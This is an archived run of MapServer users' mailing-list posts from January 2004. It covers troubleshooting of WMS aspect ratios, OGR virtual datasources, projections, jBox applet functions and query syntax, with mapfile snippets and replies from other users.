Sent: Wednesday, January 28, 2004 2:29 PM
To: Daniel Morissette
Cc: mapserver-users at lists.gis.umn.edu
Subject: Re: [Mapserver-users] WMS server image black padding and aspect
ratio

On Fri, 23 Jan 2004, Daniel Morissette wrote:

> Eric Sokolowsky wrote:
> > I am running mapserver 4.0.1 but this aspect also appears with the 
> > version in CVS.  I am using mapserver as a WMS server on a Red Hat 
> > Linux 9 system.  When I request an image that is not the same aspect

> > ratio as the original image on the server, it seems that the image I

> > get is not stretched so that it fills the entire frame.  The aspect 
> > ratio of the original source is maintained and black bars either 
> > appear above and below or else on both sides, similar to the effect 
> > of watching widescreen movies on a regular TV.  Is this the intended

> > behavior, and if so, is there a way to turn it off?
> > 
> 
> The short answer is that MapServer doesn't support rendering maps with

> different X and Y scales.  This is one of the only issues with 
> MapServer before it passes all the OGC WMS tests.

This is most unfortunate.  It is absolutely critical for my application
to allow this.  Most of the images that I want to serve have different X
and Y scales, and it would be very difficult to rescale all of them.
Also, even if I rescaled all of the images, it would not solve the
problem of requesting a different aspect ratio bounding box.

Is there work being done to fix this problem?  I am willing to jump into
the code to try and find a way to solve it, but I am not familiar with
the code and it may take me a while to get up to speed with it.

> For the long story, see the following thread in the archives:
> http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00105
> .html
> 
> Daniel
> 

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight
Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization
Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm
E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From eric.sokolowsky at gsfc.nasa.gov  Wed Jan 28 13:48:36 2004
From: eric.sokolowsky at gsfc.nasa.gov (Eric Sokolowsky)
Date: Wed, 28 Jan 2004 16:48:36 -0500 (EST)
Subject: [Mapserver-users] WMS server image black padding and aspect
 ratio
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203B23C@mercator.topozone.com>
Message-ID: 

On Wed, 28 Jan 2004, Ed McNierney wrote:

> Eric -
> 
> You may be slightly misunderstanding the WMS problem.  The WMS
> specification states that if an image request specifies an OUTPUT image
> size (WIDTH= and HEIGHT=) and a geographic bounding box (BBOX=) that are
> not consistent with one another (for example, WIDTH=200,HEIGHT=100 and
> BBOX=0,0,100,100, so a 100x100 area is being requested in a 200x100
> image) that the 100x100 geographic area be stretched in the X direction
> so it's 200 pixels wide.  MapServer does not do this, but instead
> renders a 200x100 geographic area to fill the box without stretching the
> OUTPUT image.

Yes, this is my understanding of the problem.  This is a show stopper for
me.  If I'm able to fix this problem, would others be interested in my
changes?


> Your comment makes it sound like you have INPUT images with different X
> and Y resolutions/scales.  This is completely unrelated to the problem
> with the WMS interface, and MapServer can handle those images with no
> problems - assuming of course that the metadata correctly describes the
> input images.

I see.  This is good.  Thanks for the response.



> -----Original Message-----
> From: Eric Sokolowsky [mailto:eric.sokolowsky at gsfc.nasa.gov] 
> Sent: Wednesday, January 28, 2004 2:29 PM
> To: Daniel Morissette
> Cc: mapserver-users at lists.gis.umn.edu
> Subject: Re: [Mapserver-users] WMS server image black padding and aspect
> ratio
> 
> On Fri, 23 Jan 2004, Daniel Morissette wrote:
> 
> > Eric Sokolowsky wrote:
> > > I am running mapserver 4.0.1 but this aspect also appears with the 
> > > version in CVS.  I am using mapserver as a WMS server on a Red Hat 
> > > Linux 9 system.  When I request an image that is not the same aspect
> 
> > > ratio as the original image on the server, it seems that the image I
> 
> > > get is not stretched so that it fills the entire frame.  The aspect 
> > > ratio of the original source is maintained and black bars either 
> > > appear above and below or else on both sides, similar to the effect 
> > > of watching widescreen movies on a regular TV.  Is this the intended
> 
> > > behavior, and if so, is there a way to turn it off?
> > > 
> > 
> > The short answer is that MapServer doesn't support rendering maps with
> 
> > different X and Y scales.  This is one of the only issues with 
> > MapServer before it passes all the OGC WMS tests.
> 
> This is most unfortunate.  It is absolutely critical for my application
> to allow this.  Most of the images that I want to serve have different X
> and Y scales, and it would be very difficult to rescale all of them.
> Also, even if I rescaled all of the images, it would not solve the
> problem of requesting a different aspect ratio bounding box.
> 
> Is there work being done to fix this problem?  I am willing to jump into
> the code to try and find a way to solve it, but I am not familiar with
> the code and it may take me a while to get up to speed with it.
> 
> > For the long story, see the following thread in the archives:
> > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0401/msg00105
> > .html
> > 
> > Daniel
> > 
> 
> 

-- 
    ____   __     Eric Sokolowsky    (GST)  NASA Goddard Space Flight Center 
   / __/__/_/__  Visualization Programmer    Scientific Visualization Studio
  / __/ _/ / _/ 301.286.3751                  Mailstop 935.0 Bldg 28 Rm E102
 /___/_//_/__/ eric.sokolowsky at gsfc.nasa.gov   Greenbelt, MD 20771



From jvanulde at nrcan.gc.ca  Wed Jan 28 16:06:56 2004
From: jvanulde at nrcan.gc.ca (Van Ulden, Joost)
Date: Wed, 28 Jan 2004 19:06:56 -0500
Subject: [Mapserver-users] OGR unable to access datasource
Message-ID: <8AE17DD6AA4FD51191CD0002A551168101B8959E@s5-van1-r1.ess.nrcan.gc.ca>

Hi all, some talk of connecting to a datasource through OGR got me excited.
I am trying to connect to a Microsoft SQL Server database called
geosemantica.  My points are in a table called Desc_story and the coordinate
fields are story_x and story_y.  I have set up a system DSN and tested the
connection.  It checks out find.  Anyone have an idea as to what I am doing
wrong?

Everytime I try to render the map I get the following error (the file is
definitely there):

  msDrawMap(): Image handling error. Failed to draw layer named 'OGRPoints'.

  msOGRFileOpen(): OGR error. Open failed for OGR connection
`c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported format. 

Here is my layer:

  LAYER
    NAME OGRPoints
    TYPE POINT
    CONNECTIONTYPE OGR
    CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
    DATA "Desc_story"
    STATUS default
    CLASS
      COLOR 255 0 0
    END
  END

Contents of ogr.ovt:

  

      
          ODBC:foo/foo at geosemantica 
 	  Desc_story 
	  wkbPoint 
          WGS84
	   
      

  

Thank you in advance.

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================


From TMitchell at lignum.com  Wed Jan 28 16:43:52 2004
From: TMitchell at lignum.com (Tyler Mitchell)
Date: Wed, 28 Jan 2004 16:43:52 -0800
Subject: [Mapserver-users] OGR unable to access datasource
In-Reply-To: <8AE17DD6AA4FD51191CD0002A551168101B8959E@s5-van1-r1.ess.nrcan.gc.ca>
Message-ID: 





>
> Everytime I try to render the map I get the following error (the file is
> definitely there):
>
>   msDrawMap(): Image handling error. Failed to draw layer named
'OGRPoints'.
>
>   msOGRFileOpen(): OGR error. Open failed for OGR connection
> `c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported
format.

Are you confident that your version of OGR is updated enough - does it
include this virtual layer support?  If so, then you should be able to use
the stand alone ogrinfo utility to test it first.
Tyler



From abehere at cs.ucsd.edu  Wed Jan 28 19:42:26 2004
From: abehere at cs.ucsd.edu (Amit S BEHERE)
Date: Wed, 28 Jan 2004 19:42:26 -0800 (PST)
Subject: [Mapserver-users] Projection Systems question
Message-ID: 

Hi all,

I am having the following problem. I have a shapefile with the data in
projection system 1983_UTM_Zone_11N. I am trying to set up a layer in
mapserver using this shape file. I took the example1.map file in the
tutorial and made changes to it. The salient ones being

changing the extent to the correct coordinates (found via ArcView)
changing the projection to init epsg: 26911 (for UTM Zone 11 N) and
changing the name and data setting for layer.
I also changed the type to point and set minsize to be 20.

I am also appending the mapfile. Can some
one tell me what I am doing wrong ? Thanks in advance

MAP
  IMAGETYPE      PNG
  EXTENT         385538 3761010 391329 3764477
  SIZE           400 300
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255


PROJECTION
 #   "proj=laea"
  #  "ellps=clrk66"
   # "lat_0=45"
    #"lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  "init=epsg:26911"
  #
  END

  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER # States polygon layer begins here
    NAME         vernon_trees
    DATA         vernon_trees
    STATUS       DEFAULT
    TYPE         POINT

    PROJECTION
      "init=epsg:26911"
    END

    CLASS
      COLOR        232 232 232
	MINSIZE      20
    END
  END # States polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------

END # end of map file/object

Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just changes
the rules"......Vishwanathan Anand



From ed at topozone.com  Wed Jan 28 20:10:26 2004
From: ed at topozone.com (Ed McNierney)
Date: Wed, 28 Jan 2004 23:10:26 -0500
Subject: [Mapserver-users] Projection Systems question
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B241@mercator.topozone.com>

Amit -

You didn't say what the problem is.  What is happening (or not
happening) when you try to generate a map from this mapfile?  What is
the URL you're using (i.e. what CGI parameters are you specifying)?

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] 
Sent: Wednesday, January 28, 2004 10:42 PM
To: mapserver-users at lists.gis.umn.edu
Cc: amitbehere at rediffmail.com
Subject: [Mapserver-users] Projection Systems question

Hi all,

I am having the following problem. I have a shapefile with the data in
projection system 1983_UTM_Zone_11N. I am trying to set up a layer in
mapserver using this shape file. I took the example1.map file in the
tutorial and made changes to it. The salient ones being

changing the extent to the correct coordinates (found via ArcView)
changing the projection to init epsg: 26911 (for UTM Zone 11 N) and
changing the name and data setting for layer.
I also changed the type to point and set minsize to be 20.

I am also appending the mapfile. Can some one tell me what I am doing
wrong ? Thanks in advance

MAP
  IMAGETYPE      PNG
  EXTENT         385538 3761010 391329 3764477
  SIZE           400 300
  SHAPEPATH      "data"
  IMAGECOLOR     255 255 255


PROJECTION
 #   "proj=laea"
  #  "ellps=clrk66"
   # "lat_0=45"
    #"lon_0=-100"
  #
  # Alternatively, you can specify an EPSG code.
  "init=epsg:26911"
  #
  END

  # Start of LAYER DEFINITIONS
---------------------------------------------
  LAYER # States polygon layer begins here
    NAME         vernon_trees
    DATA         vernon_trees
    STATUS       DEFAULT
    TYPE         POINT

    PROJECTION
      "init=epsg:26911"
    END

    CLASS
      COLOR        232 232 232
	MINSIZE      20
    END
  END # States polygon layer ends here
  # End of LAYER DEFINITIONS -------------------------------

END # end of map file/object

Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just
changes the rules"......Vishwanathan Anand

_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users




From bjh at globexplorer.com  Wed Jan 28 20:12:17 2004
From: bjh at globexplorer.com (Jean-Henry Berevoescu)
Date: Wed, 28 Jan 2004 20:12:17 -0800
Subject: [Mapserver-users] Q: Dynamic Legends
Message-ID: <40188821.9000101@globexplorer.com>

Hi,
Is there a way to have the legend dynamically show only the classes of a 
layer actually
shown in a map (not the whole defined set in the mapfile)?

Jean



From abehere at cs.ucsd.edu  Wed Jan 28 20:25:14 2004
From: abehere at cs.ucsd.edu (Amit S BEHERE)
Date: Wed, 28 Jan 2004 20:25:14 -0800 (PST)
Subject: [Mapserver-users] Projection Systems question
In-Reply-To: <13858AA1A74F30419F319ACB66A9D12203B241@mercator.topozone.com>
References: <13858AA1A74F30419F319ACB66A9D12203B241@mercator.topozone.com>
Message-ID: 

Hi
I am sorry for not mentioning the problem correctly. Well, I am getting a
PNG back but it is blank. I have a test.map file and I use the following
url
http://pune.com/mapserver/mapserv.exe?map=location of my .map
file+mode=map. i.e I am using the same parameters as are being used in
examples.

Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just changes
the rules"......Vishwanathan Anand


On Wed, 28 Jan 2004, Ed McNierney wrote:

> Amit -
>
> You didn't say what the problem is.  What is happening (or not
> happening) when you try to generate a map from this mapfile?  What is
> the URL you're using (i.e. what CGI parameters are you specifying)?
>
> 	- Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com
> -----Original Message-----
> From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> Sent: Wednesday, January 28, 2004 10:42 PM
> To: mapserver-users at lists.gis.umn.edu
> Cc: amitbehere at rediffmail.com
> Subject: [Mapserver-users] Projection Systems question
>
> Hi all,
>
> I am having the following problem. I have a shapefile with the data in
> projection system 1983_UTM_Zone_11N. I am trying to set up a layer in
> mapserver using this shape file. I took the example1.map file in the
> tutorial and made changes to it. The salient ones being
>
> changing the extent to the correct coordinates (found via ArcView)
> changing the projection to init epsg: 26911 (for UTM Zone 11 N) and
> changing the name and data setting for layer.
> I also changed the type to point and set minsize to be 20.
>
> I am also appending the mapfile. Can some one tell me what I am doing
> wrong ? Thanks in advance
>
> MAP
>   IMAGETYPE      PNG
>   EXTENT         385538 3761010 391329 3764477
>   SIZE           400 300
>   SHAPEPATH      "data"
>   IMAGECOLOR     255 255 255
>
>
> PROJECTION
>  #   "proj=laea"
>   #  "ellps=clrk66"
>    # "lat_0=45"
>     #"lon_0=-100"
>   #
>   # Alternatively, you can specify an EPSG code.
>   "init=epsg:26911"
>   #
>   END
>
>   # Start of LAYER DEFINITIONS
> ---------------------------------------------
>   LAYER # States polygon layer begins here
>     NAME         vernon_trees
>     DATA         vernon_trees
>     STATUS       DEFAULT
>     TYPE         POINT
>
>     PROJECTION
>       "init=epsg:26911"
>     END
>
>     CLASS
>       COLOR        232 232 232
> 	MINSIZE      20
>     END
>   END # States polygon layer ends here
>   # End of LAYER DEFINITIONS -------------------------------
>
> END # end of map file/object
>
> Amit Behere.
> UCSD.
> "Technology doesn't make your life more difficult or easy, it just
> changes the rules"......Vishwanathan Anand
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>


From ed at topozone.com  Wed Jan 28 20:36:08 2004
From: ed at topozone.com (Ed McNierney)
Date: Wed, 28 Jan 2004 23:36:08 -0500
Subject: [Mapserver-users] Projection Systems question
Message-ID: <13858AA1A74F30419F319ACB66A9D12203B242@mercator.topozone.com>

Amit -

Thanks!  First, I notice that you're drawing 10% gray points on a white
background, which is going to make them pretty hard to see.  You might
try setting the COLOR in the data layer to 0 128 0 or something
distinctive while you're debugging.

If you are getting a valid PNG image (no broken link icon) that just is
all white, then I would double-check the extents you've chosen to see if
you've gotten them correct.  Since your layer is called vernon_trees,
and your extents are around Vernon, CA, though, I'm guessing they are
OK.

	- Ed


Ed McNierney
President and Chief Mapmaker
TopoZone.com
-----Original Message-----
From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu] 
Sent: Wednesday, January 28, 2004 11:25 PM
To: Ed McNierney
Cc: Amit S BEHERE; mapserver-users at lists.gis.umn.edu;
amitbehere at rediffmail.com
Subject: RE: [Mapserver-users] Projection Systems question

Hi
I am sorry for not mentioning the problem correctly. Well, I am getting
a PNG back but it is blank. I have a test.map file and I use the
following url http://pune.com/mapserver/mapserv.exe?map=location of my
.map
file+mode=map. i.e I am using the same parameters as are being used in
examples.

Amit Behere.
UCSD.
"Technology doesn't make your life more difficult or easy, it just
changes the rules"......Vishwanathan Anand


On Wed, 28 Jan 2004, Ed McNierney wrote:

> Amit -
>
> You didn't say what the problem is.  What is happening (or not
> happening) when you try to generate a map from this mapfile?  What is 
> the URL you're using (i.e. what CGI parameters are you specifying)?
>
> 	- Ed
>
> Ed McNierney
> President and Chief Mapmaker
> TopoZone.com
> -----Original Message-----
> From: Amit S BEHERE [mailto:abehere at cs.ucsd.edu]
> Sent: Wednesday, January 28, 2004 10:42 PM
> To: mapserver-users at lists.gis.umn.edu
> Cc: amitbehere at rediffmail.com
> Subject: [Mapserver-users] Projection Systems question
>
> Hi all,
>
> I am having the following problem. I have a shapefile with the data in

> projection system 1983_UTM_Zone_11N. I am trying to set up a layer in 
> mapserver using this shape file. I took the example1.map file in the 
> tutorial and made changes to it. The salient ones being
>
> changing the extent to the correct coordinates (found via ArcView) 
> changing the projection to init epsg: 26911 (for UTM Zone 11 N) and 
> changing the name and data setting for layer.
> I also changed the type to point and set minsize to be 20.
>
> I am also appending the mapfile. Can some one tell me what I am doing 
> wrong ? Thanks in advance
>
> MAP
>   IMAGETYPE      PNG
>   EXTENT         385538 3761010 391329 3764477
>   SIZE           400 300
>   SHAPEPATH      "data"
>   IMAGECOLOR     255 255 255
>
>
> PROJECTION
>  #   "proj=laea"
>   #  "ellps=clrk66"
>    # "lat_0=45"
>     #"lon_0=-100"
>   #
>   # Alternatively, you can specify an EPSG code.
>   "init=epsg:26911"
>   #
>   END
>
>   # Start of LAYER DEFINITIONS
> ---------------------------------------------
>   LAYER # States polygon layer begins here
>     NAME         vernon_trees
>     DATA         vernon_trees
>     STATUS       DEFAULT
>     TYPE         POINT
>
>     PROJECTION
>       "init=epsg:26911"
>     END
>
>     CLASS
>       COLOR        232 232 232
> 	MINSIZE      20
>     END
>   END # States polygon layer ends here
>   # End of LAYER DEFINITIONS -------------------------------
>
> END # end of map file/object
>
> Amit Behere.
> UCSD.
> "Technology doesn't make your life more difficult or easy, it just 
> changes the rules"......Vishwanathan Anand
>
> _______________________________________________
> Mapserver-users mailing list
> Mapserver-users at lists.gis.umn.edu
> http://lists.gis.umn.edu/mailman/listinfo/mapserver-users
>
>




From rich at greenwoodmap.com  Wed Jan 28 21:07:49 2004
From: rich at greenwoodmap.com (Richard Greenwood)
Date: Wed, 28 Jan 2004 22:07:49 -0700
Subject: [Mapserver-users] JBox: Setting busy image
In-Reply-To: <0290E9A99BE89B4CB17908E29890A7063067DB@EXCHANGE.ornl.gov>
References: <0290E9A99BE89B4CB17908E29890A7063067DB@EXCHANGE.ornl.gov>
Message-ID: <40189525.3070306@greenwoodmap.com>

Palanisamy, Giri wrote:

> HI,
> 
> I am reposting this question.
> 
> I am trying to show an intermediate busy image while the JBox applet
> working, something very similar to 
> 
> http://www.dnr.state.mn.us/maps/landview.html
> 
> when you click any zoom option, you will notice a 'Making your map...'
> image in this page.. I would like to do the same function.

Giri,

I looked at this and can not offer a simple explanation, but like I said 
in the howto at
    http://mapserver.gis.umn.edu/doc40/jbox-howto.html
It generally works with setimage(). In the simple example in the howto, 
the map is rendered when jBox is initialized and that's it. Each page 
submit causes the process to happen again. But with setimage(), the jBox 
applet gets initialized, and then setimage() takes control of repainting 
the page. setimage() provides a lower level of control, but requires 
more effort on the part of the application. I do not see a simple way to 
display a busyimage when using the "basic" jBox functionality as jBox 
stands now. I suspect that some modification to jBox would be required.

Regarding the redraw issue. Steve says redraw is no longer used, so I 
will correct the howto.

-- 
Richard Greenwood
www.greenwoodmap.com



From werner at spatialdimension.co.za  Wed Jan 28 22:41:13 2004
From: werner at spatialdimension.co.za (Werner du Plessis)
Date: Thu, 29 Jan 2004 08:41:13 +0200
Subject: [Mapserver-users] FW: Itemquery
Message-ID: <89E3039EC5D3BF4C9A74E4B997AC4969A35D1D@mscpt-ser02.minserv.co.za>

Hi, 

I am experiencing a problem with (Itemquery, Itemnquery). Regardless of syntax I get the message "No Matching Records found". 

Mapserver	: 	4.0
OS		:	Windows 2000 Professional
		
My URL string follows:
...mode=itemnquery&qlayer=country&qstring=('[CNTRY_NAME]'+EQ+'NAMIBIA')

I have tried all sorts of combinations including upper/lower case field names, but it doesnt seem to make any difference.

Any help in this regard would be much appreciated. 

Kind Regards
Werner 
 




From delfos18 at yahoo.com  Wed Jan 28 22:53:09 2004
From: delfos18 at yahoo.com (J. Delfos)
Date: Wed, 28 Jan 2004 22:53:09 -0800 (PST)
Subject: [Mapserver-users] display specific layers from DGN
Message-ID: <20040129065309.9079.qmail@web12103.mail.yahoo.com>

Hi List,

I am trying to display specific layers from a DGN file. I found an 
example
in the archive of the list that suggested how to do it, but it doesn't
work for me;

LAYER
    NAME "Water_dgn"
    TYPE POLYGON
    CONNECTIONTYPE OGR
    CONNECTION "data/dgn/wat.dgn"
            DATA "1"
    STATUS ON
    CLASS
      ...
    END
...
END

Does anyone have a better idea of how to single out the layer? (Aside 
from
editing the DGN, of course).

regards,

Jacob

 


__________________________________
Do you Yahoo!?
Yahoo! SiteBuilder - Free web site building tool. Try it!
http://webhosting.yahoo.com/ps/sb/


From hwehr at hs-harz.de  Wed Jan 28 23:30:34 2004
From: hwehr at hs-harz.de (Harald Wehr)
Date: Thu, 29 Jan 2004 08:30:34 +0100
Subject: [Mapserver-users] Globe View with Orthographic Projection
In-Reply-To: <401532C8.10501@pobox.com>
References: <400E4818.7090004@hs-harz.de> <401241B5.6020002@pobox.com> <4014CE5C.6040800@hs-harz.de> <401532C8.10501@pobox.com>
Message-ID: <4018B69A.5010406@hs-harz.de>

Many thanks for the changes you have made! Things become better and 
better but I have discovered other things that seem to be strange too.

As in my first mail, I put the example under this url:

http://www2.hs-harz.de/~hwehr/mapserver/

Picture 4 is well, with the extent of test4.mapfile:
EXTENT  -6300000 -6300000 6300000 6300000

When I change the extent to something near the radius of the earth the 
output is really strange (picture 5).

Same happens when I try to display the polar region. Picture 6 is well 
for the extent of: EXTENT  -6500000 -6500000 6500000 6500000

Changing this to EXTENT  -6300000 -6300000 6300000 6300000 results in 
picture 7 which is almost all blank.

So what do you think happens here? As my programming skills in C are 
really bad I cant support you with some code. But of course I will be 
able to do further tests if you wish.

Thanks in advance!

Harald




From ms57 at streamyx.com  Thu Jan 29 03:38:07 2004
From: ms57 at streamyx.com (Steve McCrone)
Date: Thu, 29 Jan 2004 19:38:07 +0800
Subject: [Mapserver-users] jBox - setcursor()
Message-ID: <003c01c3e65c$5d9b62b0$372c5fdb@steve>

This is a multi-part message in MIME format.

--Boundary_(ID_Up6vq3aRLeDC7EpNR+Y7Zw)
Content-type: text/plain; charset=iso-8859-1
Content-transfer-encoding: 7BIT

Just wondering if the setcursor() function for jBox is working. 

here is my code - 

document.mapserv.mode.value = "browse";
document.mapserv.zoomdir.value = 0;
document.jBox.setcursor("hand");
document.jBox.dragon();

Still the default cursor is shown.

Steve


--Boundary_(ID_Up6vq3aRLeDC7EpNR+Y7Zw)
Content-type: text/html; charset=iso-8859-1
Content-transfer-encoding: 7BIT









Just wondering if the setcursor() function for jBox 
is working. 


 


here is my code - 


 


document.mapserv.mode.value = 
"browse";
document.mapserv.zoomdir.value = 
0;
document.jBox.setcursor("hand");
document.jBox.dragon();


 


Still the default cursor is shown.


 


Steve


--Boundary_(ID_Up6vq3aRLeDC7EpNR+Y7Zw)--


From spencer at dmsolutions.ca  Thu Jan 29 04:30:20 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 29 Jan 2004 07:30:20 -0500
Subject: [Mapserver-users] Re: [ms4w-users] mapserv_40.exe fails in featurequery
In-Reply-To: <001201c3e65a$3abb3ba0$4cc8a8c0@hapro>
References: <001201c3e65a$3abb3ba0$4cc8a8c0@hapro>
Message-ID: <4018FCDC.30706@magma.ca>

Hagen,

this is a MapServer issue.  Please address questions of this nature to 
the mapserver-users mailing list to ensure the best possible chance of 
response.

Cheers,

Paul

hpr wrote:

> Hi users,
>  
> I'm a newbie in mapserver, therefore I'm using mapbender with my own data.
> If I try to query (identify) an element, then the querywindow is opened 
> with the correct queryoutput
> but at the same time I get a window with the following message:
>  
> german (original):
> "mapserv_40.exe hat Fehler verursacht und wird geschlossen.
> Starten Sie das Programm neu.
> Ein Fehlerprotokoll wird erstellt."
>  
> english (translation):
> "mapserv_40.exe fails with errors, application is closed.
> Start the program again.
> An error-logfile is created"
> 
> The error-log-file contains following message:
> "GET 
> /cgi-bin/mapserv_40.exe?map=C:/ms4w/apache/htdocs/myapplication/myapp.map&&WMTVER=1.0.0&REQUEST=feature_info&
> LAYERS=Flaechen&STYLES=default&SRS=epsg:4326&BBOX=3506980.17,5818960,3510039.83,5820970&
> WIDTH=685&HEIGHT=450&FORMAT=PNG&TRANSPARENT=FALSE&BGCOLOR=0xffffff&
> QUERY_LAYERS=Flaechen&X=314&Y=143&INFO_FORMAT=text/html HTTP/1.1" 200 694
>  
> If I delete the parameter "INFO_FORMAT=text/html" in the file mapJS.php, 
> then the error is not occured
> but the output is only in text-Format without html-Tags.
>  
> What can I do ?
>  
> 
> Hagen
>  

-- 
  -----------------------------------------------------------------
|Paul Spencer                           spencer at dmsolutions.ca    |
|-----------------------------------------------------------------|
|Applications & Software Development                              |
|DM Solutions Group Inc                 http://www.dmsolutions.ca/|
  -----------------------------------------------------------------



From RUBINJ at gov.ns.ca  Thu Jan 29 05:19:03 2004
From: RUBINJ at gov.ns.ca (John Rubin)
Date: Thu, 29 Jan 2004 09:19:03 -0400
Subject: [Mapserver-users] RE - jBox setcursor()
Message-ID: 

I'm having a similar problem with the cursor.
 I cannot get the cursor to display  a cross hair, it only displays a
single pixel when the cursor cross hair should be.
I tried changing the cursor to a hand with no effect.  Any assistance
would be appreciated.


John




John Rubin
E-mail:   RUBINJ at gov.ns.ca


From hjulien at nrcan.gc.ca  Thu Jan 29 05:33:32 2004
From: hjulien at nrcan.gc.ca (Julien, Heryk)
Date: Thu, 29 Jan 2004 08:33:32 -0500
Subject: [Mapserver-users] OGR unable to access datasource
Message-ID: <06B403677C41D51194550002A55107D201F7903B@s5-stf1-r1.nrn.nrcan.gc.ca>

Hi,
I have the same problem and error message with Access2000.
Take a look at the following bugzilla bug:
http://bugzilla.remotesensing.org/show_bug.cgi?id=471
and the mapserver user discussion forum with the following key word:
VirtualSpatialData (OGR Connectiontype).

Good luck

-----Message d'origine-----
De : Van Ulden, Joost [mailto:jvanulde at nrcan.gc.ca]

Envoy? : Wednesday, January 28, 2004 7:07 PM
? : Mapserver-Users at Lists. Gis. Umn. Edu
(mapserver-users at lists.gis.umn.edu)
Objet : [Mapserver-users] OGR unable to access datasource


Hi all, some talk of connecting to a datasource through OGR got me excited.
I am trying to connect to a Microsoft SQL Server database called
geosemantica.  My points are in a table called Desc_story and the coordinate
fields are story_x and story_y.  I have set up a system DSN and tested the
connection.  It checks out find.  Anyone have an idea as to what I am doing
wrong?

Everytime I try to render the map I get the following error (the file is
definitely there):

  msDrawMap(): Image handling error. Failed to draw layer named 'OGRPoints'.

  msOGRFileOpen(): OGR error. Open failed for OGR connection
`c:\inetpub\wwwroot\MS_DEMO\ogr.ovf'. File not found or unsupported format. 

Here is my layer:

  LAYER
    NAME OGRPoints
    TYPE POINT
    CONNECTIONTYPE OGR
    CONNECTION "c:\inetpub\wwwroot\MS_DEMO\ogr.ovf"
    DATA "Desc_story"
    STATUS default
    CLASS
      COLOR 255 0 0
    END
  END

Contents of ogr.ovt:

  

      
          ODBC:foo/foo at geosemantica 
 	  Desc_story 
	  wkbPoint 
          WGS84
	   
      

  

Thank you in advance.

============================================
Joost van Ulden
Programmer/Analyst
Natural Resources Canada / Ressources naturelles Canada
Geological Survey of Canada / Commission geologique du Canada
101 - 605 Robson Street / 101 - 605 rue Robson
Vancouver, B.C. / Vancouver (C.-B.)
V6B 5J3
Office/Bureau:  604.666.7525
fax/telecopieur: 604.666.1124
jvanulde at nrcan.gc.ca
============================================
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.gis.umn.edu
http://lists.gis.umn.edu/mailman/listinfo/mapserver-users



From spencer at dmsolutions.ca  Thu Jan 29 06:08:25 2004
From: spencer at dmsolutions.ca (Paul Spencer)
Date: Thu, 29 Jan 2004 09:08:25 -0500
Subject: [Mapserver-users] OGR unable to access datasource
In-Reply-To: <06B403677C41D51194550002A55107D201F7903B@s5-stf1-r1.nrn.nrcan.gc.ca>
References: <06B403677C41D51194550002A55107D201F7903B@s5-stf1-r1.nrn.nrcan.gc.ca>
Message-ID: <401913D9.30404@magma.ca>

My first guess is that your mapserver is not built to support this.  I 
discovered from Frank Warmerdam in an earlier post that it is not 
sufficient to replace gdal11.dll, you need a new build of mapserver that 
is explicitly built against a new version of gdal in order for it to 
work because many of the internals of mapserver are bound directly to 
the OGR functions instead of through the dll (not sure if that is the 
right way to say it, thats how I think of it though).

If

ogrinfo c:\inetpub\wwwroot\MS_DEMO\ogr.ovf Desc_story

does not list all the features in your database, then it may be a 
problem with your ogr.ovf file or your DSN.  But if it does work, the 
you will be able to get it to work with MapServer if you have a properly 
built mapserver.

 From the look of your ovf file, I don't know if it will properly create 
the x/y values, you may need to remove the Desc_story. from the x= and 
y= values.  Using ogrinfo on the ovf file will tell you if points are 
being created or not.

Cheers,

Paul

Julien, Heryk wrote:

> Hi,
> I have the same problem and error message with Access2000.
> Take a look at the following bugzilla bug:
> http://bugzilla.remotesensing.org/show_bug.cgi?id=471
> and the mapserver user discussion forum with the following key word:
> VirtualSpatialData (OGR Connectiontype).
> 
> Good luck
> 
> -----Message d'origine-----
> De : Van Ulden, Joost [mailto:jvanulde at nrcan.gc.ca]
> 
> Envoy? : Wednesday, January 28, 2004 7:07 PM
> ? : Mapserver-Users at Lists. Gis. Umn. Edu
> (mapserver-users at lists.gis.umn.edu)
> Objet : [Mapserver-users] OGR unable to access datasource
> 
> 
> Hi all, some talk of connecting to a datasource through OGR got me excited.
> I am trying to connect to a Microsoft SQL Server database called
> geosemantica.  My points are in a table called Desc_story and the coordinate
> fields are story_x and story_y.  I have set up a system DSN and tested the
> connection.  It checks out find.  Anyone have an idea as to what I am doing
> wrong?
> 
> Everytime I try to render the map I get the following error (the file is
> definitely there):
> 
>   msDrawMap(): Image handling error. Failed to draw layer named 'OGRPoints'.
